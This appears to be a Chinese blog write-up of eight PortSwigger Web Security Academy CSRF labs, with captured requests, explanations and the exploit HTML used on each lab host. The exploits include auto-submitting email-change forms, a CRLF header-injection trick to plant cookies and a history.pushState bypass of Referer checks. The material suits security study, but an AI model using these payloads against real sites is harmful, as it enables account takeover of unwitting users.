Portswigger web security academy：Cross-site request forgery (CSRF)

1 - CSRF vulnerability with no defenses

  • 题目描述

    • 邮箱修改功能点存在CSRF漏洞

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 登录后在My account中修改邮箱，查看请求包

      • POST /my-account/change-email HTTP/1.1
        
Host: ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        
Connection: close
        
Content-Length: 21
        
Origin: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        
Content-Type: application/x-www-form-urlencoded
        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
        
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        
Referer: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account
        
Accept-Encoding: gzip, deflate
        
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        
Cookie: session=gqDQJWQmvM9QFV69EzP1FJZmeTlsDRSd

email=test%40test.com

      • 是直接发送目标邮箱，且没有token校验

    • 构造exp

      • <html>
        
  <body>
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="test@test.com" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
      <script>
        
      	document.forms[0].submit();
        
      </script>
        
  </body>
        
</html>

2 -CSRF where token validation depends on request method

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试阻止CSRF，但只针对了部分请求方法

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 在材料中，提示说有的token校验只针对了部分请求方法

      • 通过尝试，发现GET方法可以在不提交token的情况下修改邮箱

    • 构造exp

      • <html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://ac381f531fe7dee7809a046e0031004f.web-security-academy.net/my-account/change-email">
        
      <input type="hidden" name="email" value="test@test.com" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
    <script>
        
      document.forms[0].submit();
        
    </script>
        
  </body>
        
</html>

3 - CSRF where token validation depends on token being present

  • 题目描述

    • 邮箱修改功能点可以CSRF

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 材料中提示部分应用会忽略确实token的情况

    • 构造exp

      • <html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://ac871f3c1f32032d801a270000120093.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="test@test.com" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
    <script>
        
      document.forms[0].submit();
        
    </script>
        
  </body>
        
</html>

4 - CSRF where token is not tied to user session

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 该功能点尝试使用token来防止CSRF，但并没有和网站的session处理系统集成起来（token和session没有绑定）

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 登录任意账号，进入邮箱修改功能

    • 使用burp进行拦截，生成CSRF Poc并Drop请求

    • <html>
      
  <!-- CSRF PoC - generated by Burp Suite Professional -->
      
  <body>
      
  <script>history.pushState('', '', '/')</script>
      
    <form action="https://ac631ff71f9c182d802e2ec000f30022.web-security-academy.net/my-account/change-email" method="POST">
      
      <input type="hidden" name="email" value="test@test.com" />
      
      <input type="hidden" name="csrf" value="6iu1DC1q5KNsK1ZCDZtfi2WhQ7nM2zJT" />
      
      <input type="submit" value="Submit request" />
      
    </form>
      
    <script>
      
      document.forms[0].submit();
      
    </script>
      
  </body>
      
</html>

    • 上传到exploit server

5 - CSRF where token is tied to non-session cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 改功能点尝试使用token来防止CSRF，但并没有完全和网站的session处理系统集成（使用了单另的cookie，而非session）

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 登录任意账号，记录csrfKey和token

    • 然后需要考虑一下如何设置cookie

      • 由于是跨域cookie，所以不能使用js来完成
      • 寻找有无可利用漏洞
        • 除了修改邮箱，登录，就只有搜索功能，抓包分析

        • 发现搜索的关键词直接被放进了返回包的header中，通过测试，发现存在CRLF漏洞

    • 构造exp（包含设置cookie的请求语句）

      • <html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <img/src="//ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ">
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="asdasd8@qq.com" />
        
      <input type="hidden" name="csrf" value="nNEQkj7NnVQjCOUtVKXgfjSHSUg3iY8m" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
    <script>
        
      document.cookie="csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ";
        
      document.forms[0].submit();
        
    </script>
        
  </body>
        
</html>

6 - CSRF where token is duplicated in cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 该功能点尝试使用双提交来阻止CSRF（cookie中的token和表单中的token一致）

  • 要求

    • 通过CSRF修改受害者邮箱

  • 解题过程

    • 思路

      • 寻找设置cookie的漏洞功能点
      • 根据修改邮箱的请求包，构造cookie和表单token相同的请求表单

    • 本题的cookie漏洞功能点与上一题一直

    • 构造exp

      • 发现使用与上一题相同的方式（img发送请求会出错，经过查看，是img还未响应的时候，表单就提交了，所以对exp进行修改，使用onerror属性进行表单提交（img标签如果请求数据出错或者请求数据非图片格式，则为error，之后看官方solution也是这么做的）

      • <html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="asdd@test.com" />
        
      <input type="hidden" name="csrf" value="yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
      <img/src="//acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrf=yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" onerror="document.forms[0].submit()" />
        
  </body>
        
</html>

7 - CSRF where Referer validation depends on header being present

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试组织跨域的站点，但并不安全

  • 要求

    • 通过CSRF修改受害者的邮箱

  • 解题过程

    • 构造空Referer的exp（第一行meta标签使发出的任何请求（未指定Referer）的Referer都为空）

      • <meta name="referrer" content="never">
        
<html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <script>history.pushState('', '', '/')</script>
        
    <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="test@test.com" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
    <script>
        
      document.forms[0].submit();
        
    </script>
        
  </body>
        
</html>

8 - CSRF with broken Referer validation

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 尝试检测并组织跨域请求，但是检测机制可以被绕过

  • 要求

    • 修改受害者邮箱

  • 解题过程

    • 通过测试，发现检测方式为：是否包含目标域名

    • 构造exp

      • 我在exploit server里发现有file参数，可以修改路径，但是经过测试，referer只带了domain没有带path，于是去看了solution，要使用historypushState()函数

        • history.pushState(state, title[, url])

          • 与window.location="#xxx"一样，都会创建并激活一个新的历史记录，但history.pushState()可以是任意域名
          • 例子
            • history.pushState('', '', '/')表示我们是从（即Referer）当前url的/根目录来的

      • 那么只需要使用history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net')，即可使Referer为exploit server url/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net

        • 使用Chrome测试没有通过，但是Firefox可以
      • <html>
        
  <!-- CSRF PoC - generated by Burp Suite Professional -->
        
  <body>
        
  <script>history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net')</script>
        
    <form action="https://ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net/my-account/change-email" method="POST">
        
      <input type="hidden" name="email" value="test@test.com" />
        
      <input type="submit" value="Submit request" />
        
    </form>
        
    <script>
        
      document.forms[0].submit();
        
    </script>
        
  </body>
        
</html>

Portswigger web security academy：Cross-site request forgery (CSRF)的更多相关文章

  1. Portswigger web security academy：Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  2. Portswigger web security academy：WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy：Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy：Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  5. Portswigger web security academy：XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  6. Portswigger web security academy：OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  7. Portswigger web security academy：OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy：SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy：Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出w ...

  2. 性能追击：万字长文30+图揭秘8大主流服务器程序线程模型 | Node.js,Apache,Nginx,Netty,Redis,Tomcat,MySQL,Zuul

    本文为<高性能网络编程游记>的第六篇"性能追击:万字长文30+图揭秘8大主流服务器程序线程模型". 最近拍的照片比较少,不知道配什么图好,于是自己画了一个,凑合着用,让 ...

  3. P2023 [AHOI2009]维护序列 题解（线段树）

    题目链接 P2023 [AHOI2009]维护序列 解题思路 线段树板子.不难,但是...有坑.坑有多深?一页\(WA\). 由于乘法可能乘\(k=0\),我这种做法可能会使结果产生负数.于是就有了这 ...

  4. go beego框架与python实现数据交互

    目标:将go中一个二维数组传到pythone中处理并返回.难点在于数据格式的转换. go代码如下: package main import ( "os/exec" "sy ...

  5. 看了 Spring 官网脚手架真香，也撸一个 SpringBoot DDD 微服务的脚手架！

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 为什么我们要去造轮子? 造轮子的核心目的,是为了解决通用共性问题的凝练和复用. 虽然 ...

  6. [源码分析] 消息队列 Kombu 之 Hub

    [源码分析] 消息队列 Kombu 之 Hub 0x00 摘要 本系列我们介绍消息队列 Kombu.Kombu 的定位是一个兼容 AMQP 协议的消息队列抽象.通过本文,大家可以了解 Kombu 中的 ...

  7. MongoDB4.2 分片扫盲说明

    说明: 在扫盲MongoDB相关的一些知识的时候,顺手做下笔记.本文将说明分片相关的内容.在比较早之前已经对这些有过说明,可以看MongoDB 分片的原理.搭建.应用.分片(sharding)是指将数 ...

  8. 【Linux学习笔记0】-虚拟机运行CentOS（VMware12+CentOS）

    目录 一,资源 二,VMware12安装 记录自己学习linux的过程.这将会是一个系列,本文是该系列的第一部分,主要记录虚拟机(VMware12)及对应操作系统(CentOS)的安装过程. 虚拟机( ...

  9. 最小生成树，Prim和Kruskal的原理与实现

    文章首先于微信公众号:小K算法,关注第一时间获取更新信息 1 新农村建设 大清都亡了,我们村还没有通网.为了响应国家的新农村建设的号召,村里也开始了网络工程的建设. 穷乡僻壤,人烟稀少,如何布局网线, ...

  10. oo第三单元——社交网络

    第三单元的作业背景是实现一个社交观关系模拟系统,主要训练了JML的阅读和理解能力,和图的一些数据结构和算法. JML语言的理论基础 JML相对于实现代码是比较抽象的,规定了方法的前提副作用结果.数据的 ...